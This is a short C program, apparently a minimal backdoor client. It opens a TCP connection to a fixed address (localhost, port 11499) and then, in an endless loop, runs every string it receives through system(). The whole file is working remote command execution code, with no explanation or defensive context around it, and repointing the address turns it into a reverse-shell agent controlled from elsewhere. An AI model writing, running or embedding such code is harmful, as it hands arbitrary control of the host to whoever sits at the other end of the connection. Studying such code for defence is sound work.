#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define IP_SERVER "127.0.0.1"
#define PORT	  11499

int main(int argc, char **argv)
{
	int sd, ssize=sizeof(struct sockaddr_in);
	struct sockaddr_in addr;
	char buf[1024];
		
	addr.sin_family = AF_INET;
	addr.sin_port = htons((u_short) PORT);
	addr.sin_addr.s_addr = inet_addr(IP_SERVER);
	
	((sd=socket(AF_INET,SOCK_STREAM,0))<0) ? exit(0) : NULL;
	(connect(sd,(struct sockaddr*) &addr,ssize)<0) ? exit(1) : NULL;
	
	while(1){
		memset(buf,0,sizeof(buf));
		if(recv(sd,buf,sizeof(buf),0)<0)	exit(2);
		system(buf);
	}
	close(sd);
	return 0;
}